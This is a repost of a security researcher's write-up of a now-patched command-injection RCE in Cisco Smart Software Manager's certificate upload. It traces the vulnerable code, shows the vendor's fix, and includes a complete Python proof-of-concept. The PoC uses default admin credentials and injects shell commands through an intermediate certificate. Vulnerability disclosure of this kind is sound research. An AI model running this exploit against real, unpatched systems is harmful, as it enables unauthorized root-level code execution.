{"slug": "dirty-cert-cisco-smart-software-manager-s-silently-patched-rce", "title": "Dirty Cert: Cisco Smart Software Manager's Silently Patched RCE", "summary": "A security researcher found a post-auth remote code execution vulnerability in Cisco Smart Software Manager (CSSM) that was silently patched in Cisco's 10-202608 upgrade, uploaded on 10 Aug 2026. The flaw, in the nginx certificate upload path, allowed command injection through TLS certificates because the nginx_configurator's valid_key and valid_cert functions passed certificate and key input to childProcess.execSync running openssl. The researcher said their newly built AI bug hunting harness found the vulnerability within 1 hour.", "body_md": "# Dirty Cert: Cisco Smart Software Manager's Silently Patched RCE\n\n## Table of Contents\n\n## Introduction\n\nBack in early August 2026, I was 0-day bug hunting in Cisco Smart Software Manager (CSSM). This was where I came across a post-auth RCE vulnerability. This vulnerability, located in the nginx certificate upload, involved command injection via TLS certificates. Unfortunately, a week before I finished the report, the vulnerability was silently patched in their 10-202608 upgrade uploaded on 10 Aug 2026. This short blog will detail the exploit, along with how it got patched.\n\n## Backstory\n\nCSSM is a licensing and account manager for multiple Cisco products such as their edge devices and networking software. It is distributed as an installable OS, running many microservices accessible via an nginx reverse proxy. I was testing out my newly built AI bug hunting harness, which managed to find this vulnerability within 1 hour!\n\n## The Sink that Never Should’ve Been\n\nFound within their nginx_configurator, in `/frontend/usr/share/nginx/nginx_configurator/main.js`, are these two very interesting functions.\n\n```\nfunction valid_key(key) {\n  try {\n    childProcess.execSync(`echo \"${key}\" | openssl rsa > /dev/null`, {\n      stdio: \"inherit\",\n    });\n    return true;\n  } catch (e) {\n    log(`Invalid key: ${e}`);\n    return false;\n  }\n}\n\nfunction valid_cert(cert) {\n  try {\n    childProcess.execSync(`echo \"${cert}\" | openssl x509 > /dev/null`, {\n      stdio: \"inherit\",\n    });\n    return true;\n  } catch (e) {\n    log(`Invalid cert: ${e}`);\n    return false;\n  }\n}\n```\n\nCisco uses the `openssl` command to check for invalid certs and RSA keys. Using `childProcess.execSync` to do so is very risky, but very good for vulnerability researchers like me! It just so happens that these functions are called when I upload new certificates for nginx, so all we need is one malformed certificate to achieve command injection.\n\n## Tracing through the code\n\nWith our target sink, we now begin tracing all the processing and functions our certificate payload goes through before reaching it.\n\n### Validator’s Validation\n\nStarting with the endpoint `/backend/settings/csr/upload` to upload our certs, we pass through the nginx reverse proxy to the backend service where we encounter a check under `/backend/usr/src/app/validators/admin/certs/csr/upload_validator.rb`\n\n``` python\ndef validate(record)\n    private_key = CsrPrivateKey.first\n    record.errors.add(:base, I18n.t('browser_certs.cert_not_valid')) && return unless private_key.present?\n    record.errors.add(:base, I18n.t('browser_certs.invalid_csr_cert')) && return unless valid_cert?(record, private_key)\n    record.errors.add(:base, I18n.t('browser_certs.invalid_signature_algorithm')) && return if algorithm_rejected?(record.certificate)\n\n    if record.intermediate_certificate.present?\n        record.errors.add(:base, I18n.t('browser_certs.invalid_intermediate_cert')) && return unless valid_intermediate_cert?(record)\n        record.errors.add(:base, I18n.t('browser_certs.invalid_intermediate_cert_signature_algorithm')) if algorithm_rejected?(record.intermediate_certificate)\n    end\n    rescue\n    record.errors.add(:base,I18n.t('browser_certs.invalid_file_type'))\nend\n\ndef valid_cert?(record, csr_private_key)\n    ui_cert = OpenSSL::X509::Certificate.new(record.certificate)\n    decrypted_key = EncryptionService.decrypt(csr_private_key.key_data)\n    csr_rsa_private_key = OpenSSL::PKey::RSA.new(decrypted_key)\n\n    CertService.rsa_keys_eql?(ui_cert.public_key, csr_rsa_private_key)\nend\n\ndef valid_intermediate_cert?(record)\n    user_cert = OpenSSL::X509::Certificate.new(record.certificate)\n    intermediate_cert = OpenSSL::X509::Certificate.new(record.intermediate_certificate)\n\n    user_cert.issuer == intermediate_cert.subject\nrescue\n    record.errors.add(:base,I18n.t('browser_certs.invalid_intermediate_cert'))\nend\n```\n\nThese functions check for:\n\n1. Has the server made a Certificate Signing Request (CSR)?\n2. Does the new certificate match the CSR?\n3. Did the intermediate cert sign the new certificate?\n4. Are the certificates signed using the allowed algorithms?\n5. Do the certificates all follow the format under OpenSSL::X509::Certificate?\n\nNo. 1, we simply generate a CSR using the `/backend/settings/csr/generate` endpoint.\n\nNo. 2 and 3, we become the root CA and sign the CSR.\n\nNo. 4 is a non-factor, since the default openssl algorithm is allowlisted.\n\nThis last check, due to parsing of the request via `OpenSSL::X509::Certificate.new(record.certificate)`, is also not foolproof! The library follows RFC 7468 (“Textual Encodings of PKIX, PKCS, and CMS Structures”), and it states the following:\n\n**Explanatory Text**\n\nMany tools are known to emit explanatory text before the BEGIN and after the END lines for PKIX certificates, more than any other type. If emitted, such text SHOULD be related to the certificate, such as providing a textual representation of key data elements in the certificate.\n\nBy using explanatory text, we can add our command injection before the `-----BEGIN CERTIFICATE-----` header! Something akin to:\n\n```\n$(<COMMAND INJECTION>)\n-----BEGIN CERTIFICATE-----\n...\n-----END CERTIFICATE-----\n```\n\n### Uneven Processing\n\nAfter the validator, the backend processes the certificates before sending them back to nginx to update its certs. Under `/backend/usr/src/app/services/admin/ui_cert_service.rb` in the `upload_csr_certificate` function:\n\n```\n# Update UI Cert\nui_cert_entry = UICert.where(name: Constants::UI_CERT_DESC).first_or_initialize\nui_cert_entry.cert = ui_cert.to_pem\nui_cert_entry.private_key_id = csr_private_key.id\nui_cert_entry.description = description\n\nif intermediate_certificate.present?\n    intermediate_subject = OpenSSL::X509::Certificate.new(intermediate_certificate).subject\n    trust_store_cert = TrustStoreCert.first_or_initialize\n    trust_store_cert.name = intermediate_subject\n    trust_store_cert.cert = intermediate_certificate\n    trust_store_cert.description = description\n    trust_store_cert.save\nend\n\nui_private_key = UiPrivateKey.first\nui_private_key.key_data = csr_private_key.key_data\n\n...\n\nui_cert_entry.private_key_id = ui_private_key.id\n\n...\n\nNginxConfiguratorService.save_key_and_cert(CONSTANTS::TLS_FOR_USER_INTERFACE, EncryptionService.decrypt(ui_private_key.key_data), build_pem_bundle(ui_cert_entry))\n```\n\nWe focus specifically on these three lines of code:\n\n```\nui_cert_entry.cert = ui_cert.to_pem\n\n...\n\nui_private_key.key_data = csr_private_key.key_data\n\n...\n\ntrust_store_cert.cert = intermediate_certificate\n```\n\nOur command injection can work in these three places:\n\n1. The new certificate generated from the CSR\n2. The private key used in the CSR\n3. The `intermediate_certificate` that signed the CSR\n\n(1) doesn’t work since `to_pem` strips our explanatory text and our command injection away, and (2) cannot be accessed by us. However, for (3), the `intermediate_certificate` is used directly with no processing, perfect for exploitation!\n\nAnd with our command injection within the certs, the server calls the following:\n\n```\nNginxConfiguratorService.save_key_and_cert(\n    CONSTANTS::TLS_FOR_USER_INTERFACE, \n    EncryptionService.decrypt(ui_private_key.key_data),\n    build_pem_bundle(ui_cert_entry)\n)\n```\n\n`build_pem_bundle` is simply a concatenation of the certs and the chain of signers / issuers before it using `\\n` as a delimiter. The specific code looks as such:\n\n``` python\ndef build_pem_bundle(cert)\n    pem = cert.cert\n    signer = cert.signer_cert\n\n    while signer != nil do\n        pem += \"\\n\" + signer.cert\n        signer = signer.signer_cert\n    end\n\n    pem\nend\n```\n\nAnd this is all prepared as a single HTTP request sent from the backend to the frontend.\n\n### Final Nail in the Coffin\n\nAfter all that, we finally arrive at the file containing the sink `/frontend/usr/share/nginx/nginx_configurator/main.js`\n\n```\napp.put('/certs/:type', saveKeyAndCert)\n\nfunction saveKeyAndCert(req, res) {\n    ...\n\n    if(!valid_key(req.body.key)) {\n        res.status(httpStatus.BAD_REQUEST).send('Invalid private key')\n        return\n    }\n    \n    if(!valid_cert(req.body.cert)) {\n        res.status(httpStatus.BAD_REQUEST).send('Invalid certificate')\n        return\n    }\n}\n```\n\nWith no other checks remaining, the `execSync` sink within `valid_cert` is called and we trigger our injected commands within the attacker CA we send :)\n\nThis will run with nginx permissions, which happens to be root on that microservice.\n\n## Full Exploit\n\nThe full exploit steps are as such:\n\n1. Log in as admin\n2. Generate a CSR certificate\n3. Sign CSR with us as the root CA\n4. Upload CSR with malicious `intermediate_certificate`\n5. Read injected command’s output via a file created on nginx\n6. Delete the file on nginx\n\n## Full POC script\n\n``` python\nimport os, subprocess, sys, tempfile, requests, urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\nCOMMAND = \"ls\"\n\nHOST = \"<IP + PORT>\"\nBASE = f\"https://{HOST}\"\nUSER, PASS = \"admin\", \"CiscoAdmin!2345\" # <-- default credentials\nWEBROOT = \"/usr/share/nginx/apollo-ui/dist\"\nMARKER = \"output.txt\" # <-- Arbitrary server command output file\nTMP = tempfile.mkdtemp()\n\ns = requests.Session()\ns.verify = False\n\ndef req(method, path, **kw):\n    kw.setdefault(\"timeout\", 90)\n    return s.request(method, BASE + path, **kw)\n\ndef hdrs():\n    return {\"X-CSRF-Token\": s.cookies.get(\"XSRF-TOKEN\", \"\"),\n            \"Content-Type\": \"application/json\"}\n\ndef sh(cmd):\n    \"\"\"Inject one shell command; returns the backend's JSON response.\"\"\"\n    with open(os.path.join(TMP, \"ca.pem\")) as f:\n        ca = f.read()\n    with open(os.path.join(TMP, \"leaf.pem\")) as f:\n        leaf = f.read()\n    body = {\"certificate\": leaf,\n            \"intermediate_certificate\": \"$(\" + cmd + \")\\n\" + ca,\n            \"description\": \"poc\"}\n    return req(\"PUT\", \"/backend/settings/csr/upload\", headers=hdrs(), json=body).text.strip()\n\n# 1. Authenticate\nreq(\"GET\", \"/\")\nreq(\"POST\", \"/backend/auth/identity/callback\", headers=hdrs(),\n    json={\"username\": USER, \"password\": PASS})\nprint(\"[1] logged in as\", USER)\n\n# 2. Generate a CSR\nreq(\"PUT\", \"/backend/settings/csr/generate\", headers=hdrs(),\n    json={\"csr_request\": {\"common_name\": \"poc.local\", \"country\": \"US\", \"state\": \"CA\",\n                          \"locality\": \"SJ\", \"organization\": \"poc\", \"key_size\": 2048,\n                          \"subject_alternative_names\": \"poc.local\"}})\ncsr = req(\"GET\", \"/backend/settings/csr\").json()\nwith open(os.path.join(TMP, \"req.csr\"), \"w\") as f:\n    f.write(csr)\nprint(\"[2] CSR generated and downloaded\")\n\n# 3. Generate a self-signed CA and sign the CSR using openssl\n# Generate our own CA\nsubprocess.run([\"openssl\", \"req\", \"-x509\", \"-newkey\", \"rsa:2048\", \"-nodes\", \"-days\", \"365\", \"-sha256\",\n  \"-subj\", \"/CN=PoC CA\", \"-keyout\", f\"{TMP}/ca.key\", \"-out\", f\"{TMP}/ca.pem\"], check=True)\n# Sign the CSR with our CA\nsubprocess.run([\"openssl\", \"x509\", \"-req\", \"-in\", f\"{TMP}/req.csr\", \"-CA\", f\"{TMP}/ca.pem\",\n  \"-CAkey\", f\"{TMP}/ca.key\", \"-CAcreateserial\", \"-days\", \"365\", \"-sha256\",\n  \"-out\", f\"{TMP}/leaf.pem\"], check=True)\nprint(\"[3] leaf signed by attacker CA\")\n\n# 4. Upload the payload\nprint(\"[4] upload ->\", sh(f\"{COMMAND} > {WEBROOT}/{MARKER} 2>&1\")[:120])\n\n# 5. read the command output back over HTTPS\nprint(\"[5] retrieved output\")\nprint(req(\"GET\", \"/\" + MARKER).text.strip() or \"(empty)\")\n\n# 6. clean up the marker file\nsh(f\"rm -f {WEBROOT}/{MARKER}\")\nprint(\"[6] cleanup, marker now HTTP\", req(\"GET\", \"/\" + MARKER).status_code)\n```\n\n## Silent Patches\n\nAfter finishing my report, I saw that a new patch was released a week ago. As a very responsible researcher, I updated my 10-202606 CSSM to that new 10-202608 version to test my vulnerability. Doing a quick diff, I saw the sink had been removed 🥲\n\n```\n-   childProcess.execSync(`echo \"${key}\" | openssl rsa > /dev/null`, { stdio: 'inherit' })\n\n+   const k = crypto.createPrivateKey(key)\n+   if (k.asymmetricKeyType !== 'rsa') throw new Error(`unexpected key type: ${k.asymmetricKeyType}`)\n-   childProcess.execSync(`echo \"${cert}\" | openssl x509 > /dev/null`, { stdio: \"inherit\", });\n\n+   new crypto.X509Certificate(cert)\n```\n\nAs expected, my script no longer yields any RCE. Looking back, it was natural that they would catch it. A quick `ctrl+F` for `exec` within Cisco files would only show these specific lines of code. The fix was also quick, to simply use a Node library instead of the command line.\n\n## Timeline\n\n9 Aug 26: Bug Discovered by AI \n\n10 Aug 26: Patch 10-202608 Released \n\n18 Aug 26: Report Prepared \n\n19 Aug 26: Analysed Patch\n\n## Moral of the Story\n\nAfter seeing the patch and some sad talks with my mentor, Never celebrate too early… who knows if your 0-days will still exist on reporting day, especially if it was found instantly by an AI agent.", "url": "https://wpnews.pro/news/dirty-cert-cisco-smart-software-manager-s-silently-patched-rce", "canonical_source": "https://starlabs.sg/blog/2026/09-dirty-cert-cisco-smart-software-managers-silently-patched-rce/", "published_at": "2026-09-24 00:00:00+00:00", "updated_at": "2026-09-24 17:00:59.421203+00:00", "lang": "en", "topics": ["ai-tools", "artificial-intelligence"], "entities": ["Cisco", "Cisco Smart Software Manager", "nginx", "OpenSSL", "childProcess.execSync"], "also_reported_by": [], "alternates": {"html": "https://wpnews.pro/news/dirty-cert-cisco-smart-software-manager-s-silently-patched-rce", "markdown": "https://wpnews.pro/news/dirty-cert-cisco-smart-software-manager-s-silently-patched-rce.md", "text": "https://wpnews.pro/news/dirty-cert-cisco-smart-software-manager-s-silently-patched-rce.txt", "jsonld": "https://wpnews.pro/news/dirty-cert-cisco-smart-software-manager-s-silently-patched-rce.jsonld"}}